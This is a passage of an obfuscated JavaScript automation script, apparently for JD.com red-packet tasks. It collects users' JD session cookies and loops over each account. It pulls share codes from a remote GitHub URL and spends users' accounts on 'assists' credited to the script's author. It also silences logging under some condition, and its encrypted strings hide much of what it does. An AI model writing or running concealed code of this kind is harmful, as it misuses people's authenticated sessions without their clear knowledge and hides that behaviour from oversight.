vJB1/IQjCtFYzasK1w5NAHMOTwqzCqCM5w6/CrFTDtcOBVxfDpsOyEcOZwrh+wqfDj3lDwq/CqUoQJSbCicOvw5vDgcOJBTo=','5YuF5ZKIw4NeY+aIuOWmtOiMteW+r+OAuee7pOWMl+OAnO++sg==','ThdDw77Dmiw=','5YmH5ZKxFRhY5omt5aem6I6v5b6444Cb5L+w5oCr5Yir44KL77yB','LMOSe2rDs1A=','XFPCtsK0BcKk','w4FsXi8XwqfDn8KyZw==','aMOZwr8sNsK2','wqrDvSxpwpDDusKrTsOFw7EDcl8=','a8OJwqMtO8KGMcO7w4M=','wqDCu8O9','5Yik5ZGBIcKtXeaIoOWnjeiNkuWlpui2iu+8jeS7l+aUpRrmrofmiZvlp43mnqjkv7vltq3nlY7lr4vCoA==','wr94E1I=','w6oVwqYnwonmn5vor7rorZnmsKblpK3otJPDqeKBre+6huKBqe+5ng==','JcOuYsKVw4gdLMK2Xg==','wptZw7U=','QlnCog==','wok5w6PCnzRNRUvClg==','bnzCssOZWA==','ci51w6Y=','6I+h5byN57qy5Y+57768','5YW4SmI=','fkrCssOQwrw/w4sE','CFvCiWFT','wp4bw6XCuS8=','wroOw7TCpEA=','wrHDohVhwrw=','c0XDvSfClw==','w74Rwqt6MsOge8OIAsKjYm3CncOUw58Z','woTDujnDrQ==','bsKJRk1GBxdw','wrLDqTxpwqHDkcK0SsOiw5QFY3rClsKTwpc=','w5bCjBdL','LcKGw54OD1fDmj3Chg==','woXCjRZdfQZvfg==','WlfCtsKqIMK+w79G','wrZJSj06w4I=','WBFyw7/DkA==','wrBFaDQr','wp1fw555wpA=','w4I5wpU=','GCjDmyBMw5zDncKeF8KFwp3CmW0aw6lccMOWLQM=','SSUZMB0WWMOzwqNAw57DvQ==','OgPDocKTw7Nq','wpsQK1IYDsOJwqbDgcOxGQ==','wq5NVzEHw4RiCg==','wqfClcOBT8Ksw7DDp8KnwpnDhMOb','wqRcwpMbwqU=','XRnlt5DnuaHpoJrljKXlpo7li6g=','FsORQlMTwoPDhHlbfsKb','D8OxccKtw64=','bsOdwr8yDsK7JMOt','C8OeX101wqnDgH0=','wqczJHsM','aC5rw6gww6TDq8KA','bjcHNDM=','asOdwr4qPw==','wqrCmsObSw==','ZMOVw7PCjhU=','woPDtCnDqQ==','FSvDjg==','5om357q85Yyy6I+i5b+l77+z','PcKGw5kE','wqN8DULDujE=','woLCmBdfWg9gdww=','C8OWWFoE','44Cg5Lun5Yia','5b255aaP6aCv5Y6T44C9','w51NIGk6','44OB5LuO5YmG5oi35b2X57qc5Yyd5ae45YuV','OTw0NsKp','wpbCg8OiTigaJMKt','wqPCmsOSczM=','w5o3woELQsKYw7oY','5b6x5aeV5YGt44GF','OMKEw47CkmE=','44O25Lm85Yqn','Wl/CscKtDA==','DcKL5Yuy6IK05p245b6O5Y+B','w6RTVhkU','Ui4GIAY3ScORwrhAw4M=','w7vlv6zlpq7porDlj6Ljgbg=','UsOlw4HCgQE=','McOMGi0o','w4V/RD4mwpDDjsK6','asKgwqcOwofDr8OCw7Q=','UcO+w57Cujc=','woYfNlw+JMONwqI=','w6Yfwr8=','ZMK5wodKEw==','wpvCssO+c8Kk','wonDp8KJGw7DvMKSw6c=','wqLClMOI','5b6u5aad6aG05Y6244CG','woNfw6Z7wpA=','44Og5LiX5YuE5om25b6j57uK5YyM5aWH5YuE','AMOtWsKLw58=','wqs4w67CtmTDsAkB','JMOKHiIGw7dgw7g=','44Om5LuN5Yiz','woTDhWzDqsKF','GMOGWH8X','bSI6CD8=','w6Yfwr9UCMO9','dFBWw4LDuQ==','HuiMqOWPoeS4p+WJl+WJpOijreW+r+W6me+/iw==','bsOdwr8yEsKtOcOtw7DDlcOVR8K9WAfCjg==','wr9vw53Dp8OQwoYhMcONcQ==','w41FIGQ=','NsKGwrnCksOPwp8=','wpDCh8OmRA4HJw==','UMKfR2th','SSUMNRUHVsOVwrh8w57DrxA=','wpXDonfDucKNOndhw6xhFcKfLBtmwpI=','w60uw5XCuwrDiWLCqw==','W0IMQ1E=','eMKBT3liGhY=','McOYHiAhw7pxw7PDmTU=','dsO0wrUGwqfDv8OEw7gzcmtfT8KUwps=','fsKJQUc=','Sx4MRnxNw4jCtMOWH3nCjsOmPsOd','CFfCink=','asKNQ2N5','wp4sw6XClw==','akbCt8O2wqU=','YWPCo8O5fg==','aFhRw73DucKdwrwXw7/Dq8KGw7ES','esKgwqAE','bCpuw4YS','wo/DtC7Dm8KIw4fDrsOzwqHDgC5qwqc=','aWPCgsONUQ==','w6sDwqt4CcO7d8ODJsKx','FG8bD8Ktw4FRAU1QYFTCk0rDuQ==','wobCg8OlRA==','w4LCozZ/w78=','wrdsw7zCvkTDoA8Nw5xWwq4Pw7DDpVE=','JMOYw5vCnXDDv0bCgsOLw6kpcAcJw6U=','wrksH1TDoixzwok+OsKLw7HCtcOzdQ==','w64Rwqxw','RMOlw4/CsgfDo0Q4','wr3CucOowpvDmQ==','wrgJN3oE','HkbCtn1k','KMKMwq3CosORwpk=','ZsKzwqRLNQ==','eMOlwpJFAsK9wpZQNzR8Q3jCgcKg','cRjCtsO7fVHDi8K2Q3bCvnEJRXc=','WBNEw6o=','CsOhAycB','csKJwq06LsKrIsOhw5TDjcO7TMKdXAs=','w5krVjYGwoDDiMK2dgnCiQLCgMKYw7k=','wqwOw4TCimA=','wqTDrAXDisK7','w70iw4vCtAjDhW3CqyVXw74=','bxhBw5Q0','WcKRbWRZ','aAxDw43DqMKawq4ww77Dv8Ktw7oEZUM=','w50Bwqs3Rg==','w5rCvQ9Ow7I=','5Lm65aeW5Y6m772F5b2S566i','w6cmw5zCtwzDiGLCgCRzw7goCg==','5Lu777yV5YiX5L2u','wql7fQ0e','IsOOHjw+w7o=','5Li057mj5Y+R5b+g5b+T776a5bWA5p6Y','wpDCnxZfRxxofwEl','w4ZjwpMDYsKIw7wUQCYXJ8ODAcOO','fkLCtcOS','wpwgw4XCn2Y=','w6dQXgMZ','5b+h5Yqg5Y6M5ous57iF5Y+T5LiI5pe+776C','wqhkwrYzwqQ=','IMOMd8Kuw6A=','wovDujo=','woAbNkIGKQ==','A8KWw6ItNQ==','anrCjsOPWQ==','TzcaFAc=','UMOawoUrFQ==','KMOQwpHCvx0=','wqBQwpEywrY=','wrjCo8OowofDhg==','HzsUJMK8w4RX','RcObw6/ClQg=','MMOzfMKQ','wpYow7/CkS5C','wqIOw7/CvDc=','wqZ4F0M=','wrgAwoYUwrRXbsOHEGV/wqc1w6wt','QsOtw4HCjA==','wqTDocO7wrXDgcOzMVPCuX8KSMKrw7PCsg==','P8OmwrzCiQ==','wqrCmsOCTsKm','wp4RIg==','wpXCs8KbEy7DrMKUw6tMUA98acONw54=','VX3DjyU=','XXPDnA==','AlfCk30=','IMOIdHZG5p6M6K6T6K+o5rOA5aSl6LaWwp7igLXvu4Dig6XvuZQ=','YMO+RMK3wr4cw6jDiMOxwrA4M8OtwofCqgQ=','L8O1blEt','K8OPa13DnA==','VjtGw6HDow==','QMK3woRENA==','O8Klw7sDLw==','woDDky7DoMKY','RsKTwqlxDg==','VjVAw5/DlQ==','wrbDpzx2','SnjCocOqcw==','wrE4w7DCuA==','wpPDqFXDuMKWIXxH','w6w1wqMjcA==','WmfCosKyOQ==','wodaJGDDrg==','wrrCncOjXcKZ','wq5KaC0J','VAZEw7vDhWLDpsOLbWhkw4bDmMOPSsKWwrvCnXpiesOVwroPw4vDg2XDrX4hw68IDl/CrxMYKVPChhjDgnAaf8Oe','w5vDpMKVFCPCuA==','esKUwr8Nwr0=','bztqw6oKw7rDssKDLg==','wo9RIWw7dXAGO8Opw7DCsMKUK2JVbMOqa8ObwplPwqvClMOhNcOiw77CiW3DrhPDqGpyWj8yHWUywoBkw7ASRRsbA8Omw7IqwqBMPhJ7EyVTQsKiw7pkQBXCk8K3w4LDoUErwqU6HxPCgCgLDjjDiWhpwqxQMsOAw47ClMKfVjRnbsKlwqluQy/CpDYlw6LDuMO0McKX','GmDCkkvCgQ==','wpXDoQpJwpk=','AFnCmQ==','HMKsw7TCvS3mnanor4Lorqrms5jlp5notYkG4oGR77qr4oKd77qU','wo7CjcO2','wqNBwpUewq5ZccOIHQ==','JnLComfCnsOo','wo7Cl8OyTgUnJsKpw4ExCsKSNg==','IsOOCRkzw617w7jDmQ9B','5YqR5ZCqbStm5ou15aSe6I6J5b6U44OB57mq5Y6N44K977yX','fMKlwpBND8KQwpJYNAlUWX0=','5Yii5ZKyw7V3Y+aJv+WkguiMv+W8t+OCpOS+quaDguWLgeOAqO+9qQ==','w4VRN24mDDpfdMKVwqnDvMON','wqjCvcOpwrXDmsOvKU4=','JMO/Y8KJw4oO','Yl7CiXUSflV0RcKNwp/Dh8K0','wodEw7ttwpDCkMOGfg4=','w5tBJ3AzPA==','w6YFwrt6A8OLZMOMJcKGZHzCuA==','Ul4CUWlgw5vCrsOB','VFTCgsOqwqA=','wpnClhNuTQ==','PzcMAcKt','dsKHUg==','5Yie5ZKCwozDg13miLHlpbboj6rlvI3jg7jnu47ljKPjgbzvvr4=','SSUbMBgQ','wovDsmXDp8KdDGBBw6hWHcKYOQ==','DsOKQ0IA','w5o3woELXsKOw6cYZD45LMOjBcOCwqw=','w4F/RSYX','w57CggRvw5XCpA==','w5lwIFAO','w5zCjA5P','wpR2wrMwX+achOitqOiuiuaxtuWlrui1u2nigpvvuavigorvu4I=','w4VLMw==','KsKTw58MKF7DlTTCjA==','QnrDnjHCkA==','BsOeXsKPw7E=','woYRLlIE','w5wlw6nClyo=','w4RAYQ==','w6EUw4HCrB0=','SDQaLBoDVMOWwrU=','w5Q3wpA4cg==','P8KZw4jCl2rDsVnCjcOG','PMKCw4nCig==','w4dFOWA=','wo4iw4LCgihDQko=','wrkKEHwl','wqB0w5s=','NcOmwqXCjQ==','wrVnw67CtCDmnYPor6TorLnmsJPlpK/otr9t4oGE77mO4oKb77iQ','wqJtDF7DuCJswoYz','wr7CmsOdWcK7','wo11w4V9woM=','wrvChsOBYzM=','B8OTWFnDkA==','w580wqcVYg==','woscw4bCvgA=','fsOPWMKYwrg=','wq/CmsO5wozDnw==','NsKtw4MuNQ==','ZXd6w5zDkA==','M8OECSw=','w71jFXwb','McOKenIS','w4BPYB0o','CMOeRUI=','w7wzw47CkBzDlQ==','6aKc5Y+15Li65YiS77+J','5Luh5Yid5Yub6KCx5Lmg56q4eOaLg+WIiOi9r+WHl0PCiUnlh7bmoK/mn7t95pug5ZCm5a6U5Z+qBuS4peS7muiwhumnqOmisei+semhlOWLp+S4uOW/u+mDigrDr+emnifnmojkuKrliLYJ5aWf5a6I5Z+abOitgOaJn+WJu+WtnOaKqOWGgOi8iuijpeiGg+aekQ==','wpzCnwI=','wr5UwooS','5omV5Ymp6LyP5YSAwrLDpsOC5YSU5qKH5p+uKOaYnuWQjeWuqeWfi8KC5Li75LmN6LG06aaI6aGN6L2E6aGW5Yqo5Lmz5b666YCKLUvnpZ3Dp+eavOS4t+WImsKQ5aa45a285Z2Qd+iuhuaKuOWLoeWvoOaJnOWGjOi8hOiihOiHoeacsQ==','c8OPwoI2PsKn','P8KIw5TCmkrDuUTCgsOZw6k=','OsOFFei0gOWPuA==','wrY3w7nCuEg=','HF8Q','wpQkw7LCnRRLQUg=','5omz6KOT6ISt5p+w5YSM54+D5b6H5bqVwqvorKbmiJTli77ovbLlhoPCvxVQ5YaM5qCx5p6cfuaZgeWRr+Wvo+Wfo8KC5Luc5Lmy6LCe6aay6aGC6L6B6aOW5Yml5Luo5b+g6YKNfcOG56eEwq/nmKjkupDlibXDq+WntOWssuWeqMOP6K2z5oqQ5YuN5a+c5oqV5Yey6L2w6KKj6IeN5pyu','wqXCqyRPcA==','woV+w4Jwwo8=','OsKpw44/LA==','woQJeeWFsuS8jOS6s+WLqeivmOaDhsO8w6XCpQ==','wqlYVjMgw41tA3s=','PMOECg==','JMOhwpU1wprmnbPorZDorabmsIXlpLrotIcR4oCX77u+4oOf77uW','w4JqRTwcwo7Dl8K5ew==','wpYUw6XCvHQ=','C8OSworCgC4=','Sm1Qw7bDuw==','w74Ww4jCrgM=','wqfCo8Oqf8Ky','wqjDqhZWwoo=','bcKaU2JL','VSEFIA==','bULChMOse1HDk8K4','wp0kw4DCjz0=','I8KKwpvCnsOE','woJ1OEfDtA==','wp/CjQhT','wrBQwplBM+adquivtOitmuawkOWns+i0oCjig6Xvurrigpfvubc=','KcKGw58WIw==','wpPDp8KXFQ==','wovDnsKAHj4=','G8Odak4K','w5V8cS0Z','D8OeXkUE','wqh0w5LDtg==','5Yut5Ym45b+I5buf7765','EDUdKcKrw5o=','wpjCnMO7wqLDuA==','wqNNSwAq','bTQaBhI=','wr12GQ==','wozCg8O8QA==','w50iwoAJeMKGw6MbTQ==','w4DCiBNFw5XComHDrcOMDsK+w60=','5LmL5Lqb6aaQ6aO554Gd5Yaz4oCO6aKm5Yqn4oCP6YGnw51oJuS7qOWJnlQ=','BkHCnWjCtg==','w6Eww7rCgSo=','dSMxAwA=','MMKMwqHCgsON','wpbCjsOgZAY=','XHjCjg==','wqPCn8Ka','TgFDw73DlQ==','MMOUeMKew6I=','AFvCt3zCmA==','O8Kew6kjHg==','LsOYe2s=','Y1hOw4LDucKW','wqJ6w5HDtg==','ZMK/wqBSBMK9wo5e','QMKBwrdeEw==','wpNNGmfDuA==','TVM+cHk=','wonDpmvDqQ==','fsODwovCt8Oq5pyO6K2q6K2O5rCz5aWa6LS9FeKBoe+5j+KDm++7gg==','E8OQSw==','TBNCw7jDkw==','wpHCl8OyRhkQJw==','SlfCscKg','w6Mow4g=','57mF5Y6Q6aOb5Y2e5ou95Yi2776G6IyK5b2D','PcKOw54GKUzDkiY=','MsOzY8Kfw4kPK8Kk','XMOxwpUSMQ==','wqLDqTtj','ZsO6RMKpwpoH','NMOCHio9w7t+w6k=','dkHCpVYs','wpNIfTEj','cCB/','dMKJWEM=','wp8Dw7N0woHCt8OReh9vwrMcw49HRw==','wo/CoDzDq8KZw4DDvMOUwqDDlAVhwrEZw6s=','wpR6wp8lwqw=','csOdVEV7AAd2w7Ztw7rDkG3CqsKh','w4UCw5nCvhg=','wpVWBmXDug==','DcOaW1cTwrTDgw==','wpnDr8KJEzXDsMKMw7Y=','cMO2RMK/wpkGw6vDmQ==','MMKMwozCjsObwo7DrA==','wqvCssOfQzY=','MMOiwrHCuTo=','OsO1d8K5w5QI','ZFBRw43Ds8KGwrYt','w6suw5zChwbDk2jCug==','w50iwpMUY8KSw44YRzw=','w5fCjBJtw54=','dlwBd28=','IX/Cl3RF','wrrCosOqwqDDug==','wqrDrHXDg8Kg','HcOVTnTDjQ==','dcKPWW98','dMOdw7rCugc=','woU2PUEL','wrXDnCNUwp0=','wodZw6Fj','w5U2w4PCtCc=','wqV2LUPDpCxrwoc=','D2DCn31i','OcOrwqDCvyQ=','O8OvDh0D','wrhRw5HDksOv','NMONwqzChCQ=','SsKxbEF1','acOIwr4wNMKlPcOuw5k=','esO+WsK5','wo4XwqIp6K+h5rKj5aa76LWY77y46K6o5qKe5p6s57+26LaL6YW76KyY','PsOKACw=','wr/CoMOowr/Dm8O9LlzCtA==','DDsIH8K8','w5V/QzQ=','aljCtMO7bEvDjg==','fMKGwrZTJw==','fQhWw68F','wrA7w6XCjDM=','wpHDqcKd','57mV5Yyz6aCU5Y+B5oul5YmB776r6I6k5b+8','KMKMw47Cnw==','w64ZwqtyFcO6eMOZ','w7w1wpZhEQ==','K8KCw54QKk0=','MsOYbw==','woXoj7DljbnkuJ/li4jlirHooa7lv4zluanvvIQ=','Y8KkwoFPGMKzwolfOg==','ZsO6R8KzwoQHw4bDjsO1wrAsPQ==','QU/Co8OSfA==','woPCpsOYwqTDmg==','e0TCrcOHalfDmcK6','J2PCsGbCh8OvwrzDvMO+eQ==','wpBhHFHDpg==','wr1vGVnDpQ==','d0zCusO9','w6pLO242LTt0Rw==','amvCsMOLwoQ=','wp7CosOWwpvDuA==','bmgbS1g=','woHDvBlAwqE=','wqhJVy8iw54=','wrVAZyg6','w4tGIUkF','NsK1wrPCgcOh','wrBCw4RVwr0=','YzE6ABY=','woIRNkM=','TF88blo=','w4gDwr0vWQ==','WcK7wpxiLA==','wq7DrGnDiMK+','RHjDmTzCkw==','C8KRwojClcOM','UsOrw7zCvCE=','wo7CjcO2YA4R','VyNvw7kB','VsO9wp0gPQ==','wr1JUD4vw55l','fSUHEhg=','wppXw6I=','OMOeZGvDulY=','K8OmwrrCmyg=','akrCnn8=','w6NzVTIh','5Yq35Yma57iH5p+577+J','w6VyfAE7','wqrDpELDocKG','MGfCmVTCuw==','QMOzfMKIwr8=','V0DChcOewrE=','wo7DllLDvcK2','wpI6w5nCsFI=','wpLCjQt+UQR5','NcKIw4o=','5Yqn5Yqw5b+o5bim772x','w7wzw53CjQfDgW/CqCg=','wpfChsOzXQk=','woPCuhxQdg==','wpQsw7zCkw==','w53Cp0fDnMKt5p6t6K+w6K+X5rOd5aSj6LWZw4zigaTvuZrigK/vu7A=','alnCpcOxZ1/DlMK5Tg==','wovDujrDjcKfw5s=','Wgpbw6HDsA==','wqDDlxXDvsKf','44O35o2X56S844Kd6KyT5YSA6I6l5Y+25Liz5LiO6LWa5Yyb5LmYNnzCkAXDncOuwovnmJDmjZjkvaXnlptOw69yw7bCrsKz55mS5Lu25Lmg566I5YuO6Iyv5Y60','wp/Dr8KALzfDtsKF','wqbCuRVibQ==','NMOzasKjw4UVIcK1','wrRcwpQUwq9LdsOa','w6ZABHcT','NsKcw5/Ckkw=','wo44w7/CmD9G','wpcpwqQ=','cSst','wp7CnMO9ZcKI','KMOzwrrCgSPCn8OXw65C','wrHDsMKrMwA=','wqXDqSNuwozDmw==','wrrClMO8XsKsw4rDvcKh','TX7Cu0gb','K8OowrvCnA==','K8OZZHgY','wprCpsOecAo=','L8O+ccKTw6c=','woJ1NmXDgw==','wrdfQw==','EcOeQVM=','VsOXbsKEwoE=','eVTClcODwro=','dkzCpg==','VhbCv0h/5p2t6K6u6K2H5rCP5aSE6Leyf+KCqe+7juKCv++5jg==','I8OfHyA8w6l5w7vDlA==','woAkFGE/','aMOmwp0PDw==','dMKxwodH','w4laeAAE','wqLCicOkYsKK','5oiX57q75Y276I6A5byB772f','EsOvwp7Crx8=','VkzDjA7Clw==','wrM2w7o=','6aG757ik5Y+/5aWB6LW/776f','w4HCmRFDw4nCsUvDqMOh','w6XCvyBOw54=','w5g+wpVBGA==','dcK+woU=','AFDCjkLCoMOTwqDDgMOSUsOew5/DpA==','w5kbwrMPWw==','TsKvanZdJilGw51Ew7zDrF0=','LcKew4nCl2PDuA==','EDUd','NsKCaXzDq03DoBVCL8ObQWd7bQ==','w6jCiBJEw6s=','w4VLM0AtOg==','aMKNRlNjHQ==','YsK1wpd2F8K3wotcNwRR','wr3Cj8OOXsKrw5DDl8Kjwp7Dkg==','worDvjdmwps=','dcOvXsOywptdw6/DicKPwrIwOw==','NsODfG/DrB7CuVNeN8OiX3oweMKpwqDDsW0jw4jCtg==','fMOrQ8KswoVJwqrCgsOJwrAvJsOQw4jCs0tKbcOfGhsDZsOZwqrCu3fCshxNTnUqN8K8VMK5fcKDccKXw4gtwrXDlg8rwrbCrcOswqMpHsKwGMOXw53CmzFiwqMgw4jChMOQVnzDuMOzw5g5wqfDkBXDgm0=','IcOvw6XCiyM=','VcOQwrYoEw==','fy50w68Bw7g=','e8KYRUpmChBrw6t7w53CkXHDosKuLBhcUynCjcOsZ8KCe8K5J8OfR8Oqw6/DrBM=','w4DCvCRhw4A=','w6Qiw4rClETDh2rCpyd7','jsyPjirPamGi.Gcoml.qDMkvq6KT=='];(function(_0x154ddc,_0x402e8a,_0x4790d2){var _0x2613d0=function(_0x407a55,_0x17de10,_0x3c0bbf,_0x37a9fe,_0x41134c){_0x17de10=_0x17de10>>0x8,_0x41134c='po';var _0x47e52d='shift',_0x2cef52='push';if(_0x17de10<_0x407a55){while(--_0x407a55){_0x37a9fe=_0x154ddc[_0x47e52d]();if(_0x17de10===_0x407a55){_0x17de10=_0x37a9fe;_0x3c0bbf=_0x154ddc[_0x41134c+'p']();}else if(_0x17de10&&_0x3c0bbf['replace'](/[yPrPGGlqDMkqKT=]/g,'')===_0x17de10){_0x154ddc[_0x2cef52](_0x37a9fe);}}_0x154ddc[_0x2cef52](_0x154ddc[_0x47e52d]());}return 0x8d638;};return _0x2613d0(++_0x402e8a,_0x4790d2)>>_0x402e8a^_0x4790d2;}(_0x2868,0xf4,0xf400));var _0x5c3d=function(_0x3202c0,_0xca92ee){_0x3202c0=~~'0x'['concat'](_0x3202c0);var _0x547ba8=_0x2868[_0x3202c0];if(_0x5c3d['NnsbZD']===undefined){(function(){var _0x53126e=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x29e8c3='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x53126e['atob']||(_0x53126e['atob']=function(_0x55c50f){var _0xac331e=String(_0x55c50f)['replace'](/=+$/,'');for(var _0x4926fa=0x0,_0x265202,_0x1fc323,_0x10ba17=0x0,_0x5969c8='';_0x1fc323=_0xac331e['charAt'](_0x10ba17++);~_0x1fc323&&(_0x265202=_0x4926fa%0x4?_0x265202*0x40+_0x1fc323:_0x1fc323,_0x4926fa++%0x4)?_0x5969c8+=String['fromCharCode'](0xff&_0x265202>>(-0x2*_0x4926fa&0x6)):0x0){_0x1fc323=_0x29e8c3['indexOf'](_0x1fc323);}return _0x5969c8;});}());var _0x31849a=function(_0x40bc29,_0xca92ee){var _0x435b65=[],_0x675213=0x0,_0xf1e236,_0x1cd4ad='',_0x93eebb='';_0x40bc29=atob(_0x40bc29);for(var _0x4719a7=0x0,_0x5dad92=_0x40bc29['length'];_0x4719a7<_0x5dad92;_0x4719a7++){_0x93eebb+='%'+('00'+_0x40bc29['charCodeAt'](_0x4719a7)['toString'](0x10))['slice'](-0x2);}_0x40bc29=decodeURIComponent(_0x93eebb);for(var _0x32cb2e=0x0;_0x32cb2e<0x100;_0x32cb2e++){_0x435b65[_0x32cb2e]=_0x32cb2e;}for(_0x32cb2e=0x0;_0x32cb2e<0x100;_0x32cb2e++){_0x675213=(_0x675213+_0x435b65[_0x32cb2e]+_0xca92ee['charCodeAt'](_0x32cb2e%_0xca92ee['length']))%0x100;_0xf1e236=_0x435b65[_0x32cb2e];_0x435b65[_0x32cb2e]=_0x435b65[_0x675213];_0x435b65[_0x675213]=_0xf1e236;}_0x32cb2e=0x0;_0x675213=0x0;for(var _0x57ae42=0x0;_0x57ae42<_0x40bc29['length'];_0x57ae42++){_0x32cb2e=(_0x32cb2e+0x1)%0x100;_0x675213=(_0x675213+_0x435b65[_0x32cb2e])%0x100;_0xf1e236=_0x435b65[_0x32cb2e];_0x435b65[_0x32cb2e]=_0x435b65[_0x675213];_0x435b65[_0x675213]=_0xf1e236;_0x1cd4ad+=String['fromCharCode'](_0x40bc29['charCodeAt'](_0x57ae42)^_0x435b65[(_0x435b65[_0x32cb2e]+_0x435b65[_0x675213])%0x100]);}return _0x1cd4ad;};_0x5c3d['vtykse']=_0x31849a;_0x5c3d['WMPZzF']={};_0x5c3d['NnsbZD']=!![];}var _0x7316f3=_0x5c3d['WMPZzF'][_0x3202c0];if(_0x7316f3===undefined){if(_0x5c3d['mFDlWa']===undefined){_0x5c3d['mFDlWa']=!![];}_0x547ba8=_0x5c3d['vtykse'](_0x547ba8,_0xca92ee);_0x5c3d['WMPZzF'][_0x3202c0]=_0x547ba8;}else{_0x547ba8=_0x7316f3;}return _0x547ba8;};if($[_0x5c3d('0',']G5@')]()){Object[_0x5c3d('1','s2t@')](jdCookieNode)[_0x5c3d('2','Vm#Z')](_0x331d2e=>{cookiesArr[_0x5c3d('3','KKA&')](jdCookieNode[_0x331d2e]);});if(process[_0x5c3d('4','s2t@')][_0x5c3d('5','J(]D')]&&process[_0x5c3d('6','7De#')][_0x5c3d('7','pqb(')]===_0x5c3d('8','P3j6'))console['log']=()=>{};if(JSON[_0x5c3d('9','o%Hs')](process['env'])['indexOf'](_0x5c3d('a','8ye]'))>-0x1)process[_0x5c3d('b','piza')](0x0);}else{cookiesArr=[$[_0x5c3d('c','RJ[D')]('CookieJD'),$[_0x5c3d('d','#g!5')](_0x5c3d('e','sEZ[')),...jsonParse($[_0x5c3d('f','qt1B')]('CookiesJD')||'[]')[_0x5c3d('10','inWv')](_0x571e32=>_0x571e32[_0x5c3d('11','qi!x')])][_0x5c3d('12','piza')](_0x279622=>!!_0x279622);}const JD_API_HOST=_0x5c3d('13','oaTe');!(async()=>{var _0x2b599c={'XiMRn':_0x5c3d('14','P3j6'),'tEAqv':_0x5c3d('15','$[C2'),'WDhXz':function(_0x29359d,_0x5b1802){return _0x29359d(_0x5b1802);},'sqQLO':function(_0x554cb2,_0x134370){return _0x554cb2(_0x134370);},'epCvw':function(_0xdf550){return _0xdf550();},'yPPHv':function(_0x9a55e3,_0x3fc3fa){return _0x9a55e3<_0x3fc3fa;},'IREKc':function(_0x54b598){return _0x54b598();},'Wxsdm':function(_0x426515,_0x1f6180){return _0x426515<_0x1f6180;},'duSwE':function(_0x4e533d,_0x36f384){return _0x4e533d+_0x36f384;},'Imrul':function(_0x3662a4,_0x2a6f59){return _0x3662a4(_0x2a6f59);}};if(!cookiesArr[0x0]){$['msg']($[_0x5c3d('16','dECe')],_0x2b599c[_0x5c3d('17','Vm#Z')],_0x2b599c['tEAqv'],{'open-url':'https://bean.m.jd.com/bean/signIndex.action'});return;}let _0x254699=await _0x2b599c['WDhXz'](getAuthorShareCode,'https://raw.githubusercontent.com/gitupdate/updateTeam/master/shareCodes/jd_red.json'),_0x49dd90=await _0x2b599c[_0x5c3d('18','sEZ[')](getAuthorShareCode,_0x5c3d('19','(S7p'));if(!_0x254699)_0x254699=await _0x2b599c[_0x5c3d('1a','m0Q1')](getAuthorShareCode);$[_0x5c3d('1b','Ykax')]=[..._0x254699||[],..._0x49dd90||[]];for(let _0xd83cb6=0x0;_0x2b599c[_0x5c3d('1c','dECe')](_0xd83cb6,cookiesArr[_0x5c3d('1d','qi!x')]);_0xd83cb6++){if(cookiesArr[_0xd83cb6]){cookie=cookiesArr[_0xd83cb6];$['UserName']=decodeURIComponent(cookie['match'](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x5c3d('1e','P3j6')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x5c3d('1f','@YZ@')]=_0xd83cb6+0x1;$[_0x5c3d('20','QeIx')]=!![];$[_0x5c3d('21','QeIx')]='';await TotalBean();console[_0x5c3d('22','I($f')](_0x5c3d('23','m0Q1')+$[_0x5c3d('24','pqb(')]+'】'+($[_0x5c3d('25','qi!x')]||$['UserName'])+'****\x0a');if(!$[_0x5c3d('26','wc[h')]){$['msg']($[_0x5c3d('27','$[C2')],_0x5c3d('28','lR53'),_0x5c3d('29','GEp&')+$[_0x5c3d('2a','Jnb7')]+'\x20'+($['nickName']||$['UserName'])+_0x5c3d('2b',']loZ'),{'open-url':'https://bean.m.jd.com/bean/signIndex.action'});if($['isNode']()){await notify['sendNotify']($['name']+_0x5c3d('2c','s%P1')+$[_0x5c3d('2d','$lyO')],_0x5c3d('2e','KKA&')+$[_0x5c3d('2f','lR53')]+'\x20'+$['UserName']+_0x5c3d('30',']G5@'));}continue;}$[_0x5c3d('31','#g!5')]=0x0;await _0x2b599c[_0x5c3d('32','sEZ[')](redPacket);await _0x2b599c['IREKc'](showMsg);}}for(let _0x108dc3=0x0;_0x2b599c['Wxsdm'](_0x108dc3,cookiesArr[_0x5c3d('33','pqb(')]);_0x108dc3++){cookie=cookiesArr[_0x108dc3];$['index']=_0x2b599c['duSwE'](_0x108dc3,0x1);$[_0x5c3d('34','Jnb7')]=_0x2b599c[_0x5c3d('35','DI]G')](decodeURIComponent,cookie[_0x5c3d('36','$lyO')](/pt_pin=([^; ]+)(?=;?)/)&&cookie['match'](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x5c3d('37','pqb(')]=!![];$['redPacketId']=[...new Set($[_0x5c3d('38','m0Q1')])];if(cookiesArr&&cookiesArr[_0x5c3d('39','oaTe')]>0x2){console[_0x5c3d('3a','pqb(')](_0x5c3d('3b','7De#'));for(let _0x5c5ad1 of $[_0x5c3d('3c','f$@p')]){console[_0x5c3d('3d','J(]D')](_0x5c3d('3e','oaTe')+$[_0x5c3d('3f','I($f')]+'\x20'+$[_0x5c3d('40','o%Hs')]+_0x5c3d('41','8ye]')+_0x5c5ad1+_0x5c3d('42','$[C2'));await jinli_h5assist(_0x5c5ad1);if(!$[_0x5c3d('43','GR%&')]){console[_0x5c3d('44','7De#')](_0x5c3d('45','I($f'));break;}}}if($[_0x5c3d('46','1xX6')]){console[_0x5c3d('47','o7vD')](_0x5c3d('48','RJ[D'));for(let _0x3f5aaf of $[_0x5c3d('49','afg[')]||[]){console[_0x5c3d('4a','inWv')]('\x0a账号\x20'+$[_0x5c3d('4b','qi!x')]+'\x20'+$[_0x5c3d('4c','afg[')]+'\x20开始给作者\x20'+_0x3f5aaf+_0x5c3d('4d','s2t@'));await jinli_h5assist(_0x3f5aaf);if(!$[_0x5c3d('4e','p4$W')]){console[_0x5c3d('4f','4%Cg')](_0x5c3d('50','Jnb7'));break;}}}}})()[_0x5c3d('51','NJq]')](_0x598b1d=>{$['log']('','❌\x20'+$['name']+_0x5c3d('52','GEp&')+_0x598b1d+'!','');})['finally'](()=>{$[_0x5c3d('53','RJ[D')]();});async function redPacket(){var _0x3d851d={'IQjWk':function(_0x4e5540,_0x468579){return 